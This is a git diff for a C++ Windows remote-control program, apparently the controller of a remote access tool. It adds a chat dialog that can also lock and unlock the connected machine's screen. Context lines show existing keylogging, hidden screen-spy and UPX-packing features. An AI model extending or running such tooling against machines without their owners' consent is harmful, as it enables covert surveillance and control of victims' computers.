diff --git a/2019Remote.sln b/2019Remote.sln
index 31f139c..07f2fbb 100644
--- a/2019Remote.sln
+++ b/2019Remote.sln
@@ -15,6 +15,7 @@ Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Solution Items", "Solution
 	ProjectSection(SolutionItems) = preProject
 		history.md = history.md
 		ReadMe.md = ReadMe.md
+		ReadMe_EN.md = ReadMe_EN.md
 		使用方法.txt = 使用方法.txt
 		使用花生壳.txt = 使用花生壳.txt
 	EndProjectSection
diff --git a/common/commands.h b/common/commands.h
index e81d83e..475f71a 100644
--- a/common/commands.h
+++ b/common/commands.h
@@ -164,6 +164,7 @@ enum
 	COMMAND_SHARE = 59,				// ·ÖÏíÖ÷»ú
 	COMMAND_PROXY = 60,				// ´úÀíÓ³Éä
 	TOKEN_SYSINFOLIST = 61,			// Ö÷»ú¹ÜÀí
+	TOKEN_CHAT_START = 62,			// Ô¶³Ì½»Ì¸
 
 	// ·þÎñ¶Ë·¢³öµÄ±êʶ
 	TOKEN_AUTH = 100,				// ÒªÇóÑéÖ¤
@@ -351,6 +352,14 @@ struct  WINDOWSINFO {
 	int h;
 };
 
+// Ô¶³Ì½»Ì¸
+enum ChatManager {
+	COMMAND_NEXT_CHAT,
+	COMMAND_CHAT_CLOSE,
+	COMMAND_CHAT_SCREEN_LOCK,
+	COMMAND_CHAT_SCREEN_UNLOCK,
+};
+
 enum 
 {
 	CLIENT_TYPE_DLL = 0,			// ¿Í»§¶Ë´úÂëÒÔDLLÔËÐÐ
diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc
index debc7f8..3b68806 100644
Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ
diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp
index 8211b13..d635803 100644
--- a/server/2015Remote/2015RemoteDlg.cpp
+++ b/server/2015Remote/2015RemoteDlg.cpp
@@ -33,6 +33,7 @@
 #include <algorithm>
 #include "HideScreenSpyDlg.h"
 #include <sys/MachineDlg.h>
+#include "Chat.h"
 
 #ifdef _DEBUG
 #define new DEBUG_NEW
@@ -354,6 +355,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
 	ON_MESSAGE(WM_OPENPROXYDIALOG, OnOpenProxyDialog)
 	ON_MESSAGE(WM_OPENHIDESCREENDLG, OnOpenHideScreenDialog)
 	ON_MESSAGE(WM_OPENMACHINEMGRDLG, OnOpenMachineManagerDialog)
+	ON_MESSAGE(WM_OPENCHATDIALOG, OnOpenChatDialog)
 	ON_MESSAGE(WM_UPXTASKRESULT, UPXProcResult)
 	ON_WM_HELPINFO()
 	ON_COMMAND(ID_ONLINE_SHARE, &CMy2015RemoteDlg::OnOnlineShare)
@@ -1567,6 +1569,11 @@ VOID CALLBACK CMy2015RemoteDlg::NotifyProc(CONTEXT_OBJECT* ContextObject)
 		Dlg->OnReceiveComplete();
 		break;
 	}
+	case CHAT_DLG: {
+		CChat* Dlg = (CChat*)ContextObject->hDlg;
+		Dlg->OnReceiveComplete();
+		break;
+	}
 	default: {
 		HANDLE hEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
 		if (hEvent == NULL) {
@@ -1665,6 +1672,10 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
 		g_2015RemoteDlg->SendMessage(WM_OPENMACHINEMGRDLG, 0, (LPARAM)ContextObject);
 		break;
 	}
+	case TOKEN_CHAT_START: { // 远程交谈
+		g_2015RemoteDlg->SendMessage(WM_OPENCHATDIALOG, 0, (LPARAM)ContextObject);
+		break;
+	}
 	case TOKEN_KEYBOARD_START: {// 键盘记录
 			g_2015RemoteDlg->SendMessage(WM_OPENKEYBOARDDIALOG, 0, (LPARAM)ContextObject);
 			break;
@@ -1888,6 +1899,12 @@ LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam)
 			delete Dlg;
 			break;
 		}
+		case CHAT_DLG:
+		{
+			CChat* Dlg = (CChat*)p->hDlg;
+			delete Dlg;
+			break;
+		}
 		default:break;
 		}
 		delete p;
@@ -2182,6 +2199,21 @@ LRESULT CMy2015RemoteDlg::OnOpenMachineManagerDialog(WPARAM wParam, LPARAM lPara
 	return 0;
 }
 
+LRESULT CMy2015RemoteDlg::OnOpenChatDialog(WPARAM wParam, LPARAM lParam)
+{
+	CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)lParam;
+
+	CChat* Dlg = new CChat(this, m_iocpServer, ContextObject);
+
+	Dlg->Create(IDD_CHAT, GetDesktopWindow());
+	Dlg->ShowWindow(SW_SHOW);
+
+	ContextObject->v1 = CHAT_DLG;
+	ContextObject->hDlg = Dlg;
+
+	return 0;
+}
+
 BOOL CMy2015RemoteDlg::OnHelpInfo(HELPINFO* pHelpInfo)
 {
 	MessageBox("Copyleft (c) FTU 2025", "关于");
diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h
index ee553dd..89161b0 100644
--- a/server/2015Remote/2015RemoteDlg.h
+++ b/server/2015Remote/2015RemoteDlg.h
@@ -225,6 +225,7 @@ public:
 	afx_msg LRESULT OnOpenHideScreenDialog(WPARAM wParam, LPARAM lParam);
 	afx_msg LRESULT OnOpenMachineManagerDialog(WPARAM wParam, LPARAM lParam);
 	afx_msg LRESULT OnOpenProxyDialog(WPARAM wParam, LPARAM lParam);
+	afx_msg LRESULT OnOpenChatDialog(WPARAM wParam, LPARAM lParam);
 	afx_msg LRESULT UPXProcResult(WPARAM wParam, LPARAM lParam);
 	afx_msg BOOL OnHelpInfo(HELPINFO* pHelpInfo);
 	virtual BOOL PreTranslateMessage(MSG* pMsg);
diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj b/server/2015Remote/2015Remote_vs2015.vcxproj
index 4173f6e..36cc6f3 100644
--- a/server/2015Remote/2015Remote_vs2015.vcxproj
+++ b/server/2015Remote/2015Remote_vs2015.vcxproj
@@ -255,6 +255,7 @@
     <ClInclude Include="AudioDlg.h" />
     <ClInclude Include="Buffer.h" />
     <ClInclude Include="BuildDlg.h" />
+    <ClInclude Include="Chat.h" />
     <ClInclude Include="CPasswordDlg.h" />
     <ClInclude Include="CpuUseage.h" />
     <ClInclude Include="CTextDlg.h" />
@@ -306,6 +307,7 @@
     <ClCompile Include="AudioDlg.cpp" />
     <ClCompile Include="Buffer.cpp" />
     <ClCompile Include="BuildDlg.cpp" />
+    <ClCompile Include="Chat.cpp" />
     <ClCompile Include="CPasswordDlg.cpp" />
     <ClCompile Include="CpuUseage.cpp" />
     <ClCompile Include="CTextDlg.cpp" />
@@ -354,11 +356,16 @@
     <Text Include="..\..\ReadMe.md" />
   </ItemGroup>
   <ItemGroup>
+    <Image Include="res\Bitmap\DxgiDesktop.bmp" />
+    <Image Include="res\Bitmap\GrayDesktop.bmp" />
     <Image Include="res\Bitmap\note.bmp" />
     <Image Include="res\Bitmap\proxy.bmp" />
     <Image Include="res\Bitmap\Share.bmp" />
+    <Image Include="res\Bitmap\SpeedDesktop.bmp" />
+    <Image Include="res\Bitmap\VirtualDesktop.bmp" />
     <Image Include="res\Bitmap_4.bmp" />
     <Image Include="res\Bitmap_5.bmp" />
+    <Image Include="res\chat.ico" />
     <Image Include="res\delete.bmp" />
     <Image Include="res\icon2.ico" />
     <Image Include="res\keyboard.ico" />
diff --git a/server/2015Remote/Chat.cpp b/server/2015Remote/Chat.cpp
new file mode 100644
index 0000000..b579e2d
--- /dev/null
+++ b/server/2015Remote/Chat.cpp
@@ -0,0 +1,180 @@
+// Chat.cpp : implementation file
+//
+
+#include "stdafx.h"
+#include "2015Remote.h"
+#include "Chat.h"
+
+#ifdef _DEBUG
+#define new DEBUG_NEW
+#endif
+
+/////////////////////////////////////////////////////////////////////////////
+// CChat dialog
+
+
+CChat::CChat(CWnd* pParent, ISocketBase* pIOCPServer, ClientContext* pContext)
+    : DialogBase(CChat::IDD, pParent, pIOCPServer, pContext, 0)
+{
+    m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_CHAT));
+    m_iocpServer = pIOCPServer;
+    m_pContext = pContext;
+    m_bOnClose = FALSE;
+}
+
+
+void CChat::DoDataExchange(CDataExchange* pDX)
+{
+    CDialog::DoDataExchange(pDX);
+    DDX_Control(pDX, IDC_EDIT_TIP, m_editTip);
+    DDX_Control(pDX, IDC_EDIT_NEWMSG, m_editNewMsg);
+    DDX_Control(pDX, IDC_EDIT_CHATLOG, m_editChatLog);
+}
+
+
+BEGIN_MESSAGE_MAP(CChat, CDialog)
+    ON_BN_CLICKED(IDC_BUTTON_SEND, OnButtonSend)
+    ON_BN_CLICKED(IDC_BUTTON_END, OnButtonEnd)
+    ON_WM_CTLCOLOR()
+    ON_WM_CLOSE()
+    ON_EN_SETFOCUS(IDC_EDIT_CHATLOG, OnSetfocusEditChatLog)
+    ON_EN_KILLFOCUS(IDC_EDIT_CHATLOG, OnKillfocusEditChatLog)
+    ON_BN_CLICKED(IDC_LOCK, &CChat::OnBnClickedButton_LOCK)
+    ON_BN_CLICKED(IDC_UNLOCK, &CChat::OnBnClickedButton_UNLOCK)
+END_MESSAGE_MAP()
+
+/////////////////////////////////////////////////////////////////////////////
+// CCHAT message handlers
+
+BOOL CChat::OnInitDialog()
+{
+    CDialog::OnInitDialog();
+
+    CString str;
+    str.Format(_T("Ô¶³Ì½»Ì¸ - %s"), m_pContext->PeerName.c_str()),
+               SetWindowText(str);
+    m_editTip.SetWindowText(_T("Ìáʾ: ¶Ô·½ÁÄÌì¶Ô»°¿òÔÚ·¢ËÍÏûÏ¢ºó²Å»áµ¯³ö"));
+    m_editNewMsg.SetLimitText(4079);
+    // TODO: Add extra initialization here
+    BYTE bToken = COMMAND_NEXT_CHAT;
+    m_iocpServer->Send(m_pContext, &bToken, sizeof(BYTE));
+    SetIcon(m_hIcon, TRUE);			// Set big icon
+    SetIcon(m_hIcon, FALSE);		// Set small icon
+
+    return TRUE;  // return TRUE unless you set the focus to a control
+    // EXCEPTION: OCX Property Pages should return FALSE
+}
+
+void CChat::OnReceive()
+{
+}
+
+void CChat::OnReceiveComplete()
+{
+    m_pContext->m_DeCompressionBuffer.Write((LPBYTE)_T(""), 1);
+    char* strResult = (char*)m_pContext->m_DeCompressionBuffer.GetBuffer(0);
+    SYSTEMTIME st;
+    GetLocalTime(&st);
+    char Text[5120] = { 0 };
+    sprintf_s(Text, _T("%s %d/%d/%d %d:%02d:%02d\r\n  %s\r\n\r\n"), _T("¶Ô·½:"),
+               st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond, strResult);
+    if (m_editChatLog.GetWindowTextLength() >= 20000)
+        m_editChatLog.SetWindowText(_T(""));
+    m_editChatLog.SetSel(-1);
+    m_editChatLog.ReplaceSel(Text);
+}
+
+void CChat::OnButtonSend()
+{
+    char str[4096];
+    GetDlgItemText(IDC_EDIT_NEWMSG, str, sizeof(str));
+    if (_tcscmp(str, _T("")) == 0) {
+        m_editNewMsg.SetFocus();
+        return; // ·¢ËÍÏûϢΪ¿Õ²»´¦Àí
+    }
+    m_editTip.ShowWindow(SW_HIDE);
+    m_iocpServer->Send(m_pContext, (LPBYTE)str, lstrlen(str) + sizeof(char));
+    SYSTEMTIME st;
+    GetLocalTime(&st);
+    char Text[5120] = { 0 };
+    sprintf_s(Text, _T("%s %d/%d/%d %d:%02d:%02d\r\n  %s\r\n\r\n"), _T("×Ô¼º:"),
+               st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond, str);
+    if (m_editChatLog.GetWindowTextLength() >= 20000)
+        m_editChatLog.SetWindowText(_T(""));
+    m_editChatLog.SetSel(-1);
+    m_editChatLog.ReplaceSel(Text);
+    m_editNewMsg.SetWindowText(_T(""));
+    m_editNewMsg.SetFocus();
+}
+
+void CChat::OnButtonEnd()
+{
+    SendMessage(WM_CLOSE, 0, 0);
+}
+
+void CChat::OnClose()
+{
+	m_ContextObject->CancelIO();
+
+	CDialogBase::OnClose();
+}
+
+HBRUSH CChat::OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor)
+{
+    if (pWnd->GetDlgCtrlID() == IDC_EDIT_CHATLOG && nCtlColor == CTLCOLOR_STATIC) {
+        COLORREF clr = RGB(0, 0, 0);
+        pDC->SetTextColor(clr);   // ÉèÖúÚÉ«µÄÎı¾
+        clr = RGB(255, 255, 255);
+        pDC->SetBkColor(clr);     // ÉèÖð×É«µÄ±³¾°
+        return CreateSolidBrush(clr);  // ×÷ΪԼ¶¨£¬·µ»Ø±³¾°É«¶ÔÓ¦µÄË¢×Ó¾ä±ú
+    } else if (pWnd == &m_editTip && nCtlColor == CTLCOLOR_EDIT) {
+        COLORREF clr = RGB(255, 0, 0);
+        pDC->SetTextColor(clr);   // ÉèÖúìÉ«µÄÎı¾
+        clr = RGB(220, 220, 0);
+        pDC->SetBkColor(clr);     // ÉèÖûÆÉ«µÄ±³¾°
+        return CreateSolidBrush(clr);  // ×÷ΪԼ¶¨£¬·µ»Ø±³¾°É«¶ÔÓ¦µÄË¢×Ó¾ä±ú
+    } else {
+        return CDialog::OnCtlColor(pDC, pWnd, nCtlColor);
+    }
+}
+
+void CChat::PostNcDestroy()
+{
+    if (!m_bOnClose)
+        OnCancel();
+    CDialog::PostNcDestroy();
+    delete this;
+}
+
+BOOL CChat::PreTranslateMessage(MSG* pMsg)
+{
+    if (pMsg->message == WM_KEYDOWN && pMsg->wParam == VK_ESCAPE) {
+        return true;
+    }
+    return CDialog::PreTranslateMessage(pMsg);
+}
+
+void CChat::OnSetfocusEditChatLog()
+{
+    if (m_editTip.IsWindowVisible())
+        m_editTip.RedrawWindow(NULL, NULL, RDW_INVALIDATE | RDW_FRAME);
+}
+
+void CChat::OnKillfocusEditChatLog()
+{
+    if (m_editTip.IsWindowVisible())
+        m_editTip.RedrawWindow(NULL, NULL, RDW_INVALIDATE | RDW_FRAME);
+}
+
+void CChat::OnBnClickedButton_LOCK()
+{
+
+    BYTE bToken = COMMAND_CHAT_SCREEN_LOCK;
+    m_iocpServer->Send(m_pContext, &bToken, sizeof(BYTE));
+}
+
+void CChat::OnBnClickedButton_UNLOCK()
+{
+    BYTE bToken = COMMAND_CHAT_SCREEN_UNLOCK;
+    m_iocpServer->Send(m_pContext, &bToken, sizeof(BYTE));
+}
diff --git a/server/2015Remote/Chat.h b/server/2015Remote/Chat.h
new file mode 100644
index 0000000..aeaa5cf
--- /dev/null
+++ b/server/2015Remote/Chat.h
@@ -0,0 +1,49 @@
+#pragma once
+
+#include "stdafx.h"
+
+/////////////////////////////////////////////////////////////////////////////
+// CChat dialog
+
+class CChat : public DialogBase
+{
+    // Construction
+public:
+    CChat(CWnd* pParent = NULL, ISocketBase* pIOCPServer = NULL, ClientContext* pContext = NULL);
+    void OnReceiveComplete();
+    void OnReceive();
+
+    enum { IDD = IDD_CHAT };
+
+public:
+    virtual BOOL PreTranslateMessage(MSG* pMsg);
+protected:
+    virtual void DoDataExchange(CDataExchange* pDX);
+    virtual void PostNcDestroy();
+    virtual void OnClose();
+
+// Implementation
+protected:
+    ClientContext* m_pContext;
+    ISocketBase* m_iocpServer;
+
+    virtual BOOL OnInitDialog();
+    afx_msg void OnButtonSend();
+    afx_msg void OnButtonEnd();
+
+    afx_msg HBRUSH OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor);
+    afx_msg void OnSetfocusEditChatLog();
+    afx_msg void OnKillfocusEditChatLog();
+
+    DECLARE_MESSAGE_MAP()
+private:
+    HICON m_hIcon;
+    BOOL m_bOnClose;
+public:
+    CEdit m_editTip;
+    CEdit m_editNewMsg;
+    CEdit m_editChatLog;
+
+    afx_msg void OnBnClickedButton_LOCK();
+    afx_msg void OnBnClickedButton_UNLOCK();
+};
diff --git a/server/2015Remote/res/chat.ico b/server/2015Remote/res/chat.ico
new file mode 100644
index 0000000..7cc0752
Binary files /dev/null and b/server/2015Remote/res/chat.ico differ
diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h
index cd3cfb6..4223baf 100644
Binary files a/server/2015Remote/resource.h and b/server/2015Remote/resource.h differ
diff --git a/server/2015Remote/stdafx.h b/server/2015Remote/stdafx.h
index c8d0ec2..7db9afa 100644
--- a/server/2015Remote/stdafx.h
+++ b/server/2015Remote/stdafx.h
@@ -80,6 +80,7 @@
 #define WM_OPENPROXYDIALOG				WM_USER+3014
 #define WM_OPENHIDESCREENDLG			WM_USER+3015
 #define WM_OPENMACHINEMGRDLG			WM_USER+3016
+#define WM_OPENCHATDIALOG				WM_USER+3017
 
 enum
 {
@@ -97,6 +98,7 @@ enum
 	PROXY_DLG,
 	HIDESCREEN_DLG,
 	MACHINE_DLG,
+	CHAT_DLG,
 };